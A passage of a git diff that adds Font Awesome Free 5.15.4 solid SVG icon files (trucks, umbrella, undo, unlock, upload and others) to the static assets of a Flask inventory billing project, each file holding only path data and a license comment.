48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-monster.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-monster.svg new file mode 100644 index 00000000..4f7badea --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-monster.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 224h-16v-64c0-17.67-14.33-32-32-32h-73.6L419.22 24.02A64.025 64.025 0 0 0 369.24 0H256c-17.67 0-32 14.33-32 32v96H48c-8.84 0-16 7.16-16 16v80H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16.72c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64h65.45c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-336-96V64h81.24l51.2 64H288zm304 224h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 512 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67A110.85 110.85 0 0 0 373.2 352H368c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32c-.02-8.84-7.18-16-16.02-16zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-208-80h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 192 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0L58.18 304.8c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67a110.85 110.85 0 0 0-8.65 20.89H48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32C288 359.16 280.84 352 272 352zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-moving.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-moving.svg new file mode 100644 index 00000000..cdddc484 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-moving.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M621.3 237.3l-58.5-58.5c-12-12-28.3-18.7-45.3-18.7H480V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v336c0 44.2 35.8 80 80 80 26.3 0 49.4-12.9 64-32.4 14.6 19.6 37.7 32.4 64 32.4 44.2 0 80-35.8 80-80 0-5.5-.6-10.8-1.6-16h163.2c-1.1 5.2-1.6 10.5-1.6 16 0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H624c8.8 0 16-7.2 16-16v-85.5c0-17-6.7-33.2-18.7-45.2zM80 432c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm128 0c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm272-224h37.5c4.3 0 8.3 1.7 11.3 4.7l43.3 43.3H480v-48zm48 224c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-pickup.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-pickup.svg new file mode 100644 index 00000000..5f7c32a2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-pickup.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 288h-16v-64c0-17.67-14.33-32-32-32h-48L419.22 56.02A64.025 64.025 0 0 0 369.24 32H256c-17.67 0-32 14.33-32 32v128H64c-17.67 0-32 14.33-32 32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h49.61c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16h67.23c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM288 96h81.24l76.8 96H288V96zM176 416c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm288 0c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck.svg new file mode 100644 index 00000000..ee9677e2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tshirt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tshirt.svg new file mode 100644 index 00000000..0378f9a0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tshirt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tty.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tty.svg new file mode 100644 index 00000000..4a1ba7ae --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tty.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M5.37 103.822c138.532-138.532 362.936-138.326 501.262 0 6.078 6.078 7.074 15.496 2.583 22.681l-43.214 69.138a18.332 18.332 0 0 1-22.356 7.305l-86.422-34.569a18.335 18.335 0 0 1-11.434-18.846L351.741 90c-62.145-22.454-130.636-21.986-191.483 0l5.953 59.532a18.331 18.331 0 0 1-11.434 18.846l-86.423 34.568a18.334 18.334 0 0 1-22.356-7.305L2.787 126.502a18.333 18.333 0 0 1 2.583-22.68zM96 308v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H92c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zM96 500v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H140c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tv.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tv.svg new file mode 100644 index 00000000..f1200b41 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tv.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M592 0H48A48 48 0 0 0 0 48v320a48 48 0 0 0 48 48h240v32H112a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H352v-32h240a48 48 0 0 0 48-48V48a48 48 0 0 0-48-48zm-16 352H64V64h512z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/umbrella-beach.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/umbrella-beach.svg new file mode 100644 index 00000000..b9f46173 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/umbrella-beach.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M115.38 136.9l102.11 37.18c35.19-81.54 86.21-144.29 139-173.7-95.88-4.89-188.78 36.96-248.53 111.8-6.69 8.4-2.66 21.05 7.42 24.72zm132.25 48.16l238.48 86.83c35.76-121.38 18.7-231.66-42.63-253.98-7.4-2.7-15.13-4-23.09-4-58.02.01-128.27 69.17-172.76 171.15zM521.48 60.5c6.22 16.3 10.83 34.6 13.2 55.19 5.74 49.89-1.42 108.23-18.95 166.98l102.62 37.36c10.09 3.67 21.31-3.43 21.57-14.17 2.32-95.69-41.91-187.44-118.44-245.36zM560 447.98H321.06L386 269.5l-60.14-21.9-72.9 200.37H16c-8.84 0-16 7.16-16 16.01v32.01C0 504.83 7.16 512 16 512h544c8.84 0 16-7.17 16-16.01v-32.01c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/umbrella.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/umbrella.svg new file mode 100644 index 00000000..a9084633 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/umbrella.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M575.7 280.8C547.1 144.5 437.3 62.6 320 49.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v17.9C138.3 62.6 29.5 144.5.3 280.8c-2.2 10.1 8.5 21.3 18.7 11.4 52-55 107.7-52.4 158.6 37 5.3 9.5 14.9 8.6 19.7 0 20.2-35.4 44.9-73.2 90.7-73.2 58.5 0 88.2 68.8 90.7 73.2 4.8 8.6 14.4 9.5 19.7 0 51-89.5 107.1-91.4 158.6-37 10.3 10 20.9-1.3 18.7-11.4zM256 301.7V432c0 8.8-7.2 16-16 16-7.8 0-13.2-5.3-15.1-10.7-5.9-16.7-24.1-25.4-40.8-19.5-16.7 5.9-25.4 24.2-19.5 40.8 11.2 31.9 41.6 53.3 75.4 53.3 44.1 0 80-35.9 80-80V301.6c-9.1-7.9-19.8-13.6-32-13.6-12.3.1-22.4 4.8-32 13.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/underline.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/underline.svg new file mode 100644 index 00000000..558cd393 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/underline.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 64h32v160c0 88.22 71.78 160 160 160s160-71.78 160-160V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H272a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32v160a80 80 0 0 1-160 0V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm400 384H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/undo-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/undo-alt.svg new file mode 100644 index 00000000..435447d6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/undo-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M255.545 8c-66.269.119-126.438 26.233-170.86 68.685L48.971 40.971C33.851 25.851 8 36.559 8 57.941V192c0 13.255 10.745 24 24 24h134.059c21.382 0 32.09-25.851 16.971-40.971l-41.75-41.75c30.864-28.899 70.801-44.907 113.23-45.273 92.398-.798 170.283 73.977 169.484 169.442C423.236 348.009 349.816 424 256 424c-41.127 0-79.997-14.678-110.63-41.556-4.743-4.161-11.906-3.908-16.368.553L89.34 422.659c-4.872 4.872-4.631 12.815.482 17.433C133.798 479.813 192.074 504 256 504c136.966 0 247.999-111.033 248-247.998C504.001 119.193 392.354 7.755 255.545 8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/undo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/undo.svg new file mode 100644 index 00000000..f3f48b21 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/undo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M212.333 224.333H12c-6.627 0-12-5.373-12-12V12C0 5.373 5.373 0 12 0h48c6.627 0 12 5.373 12 12v78.112C117.773 39.279 184.26 7.47 258.175 8.007c136.906.994 246.448 111.623 246.157 248.532C504.041 393.258 393.12 504 256.333 504c-64.089 0-122.496-24.313-166.51-64.215-5.099-4.622-5.334-12.554-.467-17.42l33.967-33.967c4.474-4.474 11.662-4.717 16.401-.525C170.76 415.336 211.58 432 256.333 432c97.268 0 176-78.716 176-176 0-97.267-78.716-176-176-176-58.496 0-110.28 28.476-142.274 72.333h98.274c6.627 0 12 5.373 12 12v48c0 6.627-5.373 12-12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/universal-access.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/universal-access.svg new file mode 100644 index 00000000..d115b6e0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/universal-access.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 48c114.953 0 208 93.029 208 208 0 114.953-93.029 208-208 208-114.953 0-208-93.029-208-208 0-114.953 93.029-208 208-208m0-40C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 56C149.961 64 64 149.961 64 256s85.961 192 192 192 192-85.961 192-192S362.039 64 256 64zm0 44c19.882 0 36 16.118 36 36s-16.118 36-36 36-36-16.118-36-36 16.118-36 36-36zm117.741 98.023c-28.712 6.779-55.511 12.748-82.14 15.807.851 101.023 12.306 123.052 25.037 155.621 3.617 9.26-.957 19.698-10.217 23.315-9.261 3.617-19.699-.957-23.316-10.217-8.705-22.308-17.086-40.636-22.261-78.549h-9.686c-5.167 37.851-13.534 56.208-22.262 78.549-3.615 9.255-14.05 13.836-23.315 10.217-9.26-3.617-13.834-14.056-10.217-23.315 12.713-32.541 24.185-54.541 25.037-155.621-26.629-3.058-53.428-9.027-82.141-15.807-8.6-2.031-13.926-10.648-11.895-19.249s10.647-13.926 19.249-11.895c96.686 22.829 124.283 22.783 220.775 0 8.599-2.03 17.218 3.294 19.249 11.895 2.029 8.601-3.297 17.219-11.897 19.249z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/university.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/university.svg new file mode 100644 index 00000000..71611115 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/university.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlink.svg new file mode 100644 index 00000000..5d786c5b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304.083 405.907c4.686 4.686 4.686 12.284 0 16.971l-44.674 44.674c-59.263 59.262-155.693 59.266-214.961 0-59.264-59.265-59.264-155.696 0-214.96l44.675-44.675c4.686-4.686 12.284-4.686 16.971 0l39.598 39.598c4.686 4.686 4.686 12.284 0 16.971l-44.675 44.674c-28.072 28.073-28.072 73.75 0 101.823 28.072 28.072 73.75 28.073 101.824 0l44.674-44.674c4.686-4.686 12.284-4.686 16.971 0l39.597 39.598zm-56.568-260.216c4.686 4.686 12.284 4.686 16.971 0l44.674-44.674c28.072-28.075 73.75-28.073 101.824 0 28.072 28.073 28.072 73.75 0 101.823l-44.675 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.598 39.598c4.686 4.686 12.284 4.686 16.971 0l44.675-44.675c59.265-59.265 59.265-155.695 0-214.96-59.266-59.264-155.695-59.264-214.961 0l-44.674 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.597 39.598zm234.828 359.28l22.627-22.627c9.373-9.373 9.373-24.569 0-33.941L63.598 7.029c-9.373-9.373-24.569-9.373-33.941 0L7.029 29.657c-9.373 9.373-9.373 24.569 0 33.941l441.373 441.373c9.373 9.372 24.569 9.372 33.941 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlock-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlock-alt.svg new file mode 100644 index 00000000..e58c569f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlock-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlock.svg new file mode 100644 index 00000000..76ac3b32 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/unlock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/upload.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/upload.svg new file mode 100644 index 00000000..53793982 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/upload.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M296 384h-80c-13.3 0-24-10.7-24-24V192h-87.7c-17.8 0-26.7-21.5-14.1-34.1L242.3 5.7c7.5-7.5 19.8-7.5 27.3 0l152.2 152.2c12.6 12.6 3.7 34.1-14.1 34.1H320v168c0 13.3-10.7 24-24 24zm216-8v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h136v8c0 30.9 25.1 56 56 56h80c30.9 0 56-25.1 56-56v-8h136c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-alt-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-alt-slash.svg new file mode 100644 index 00000000..c93588f3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-alt-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by 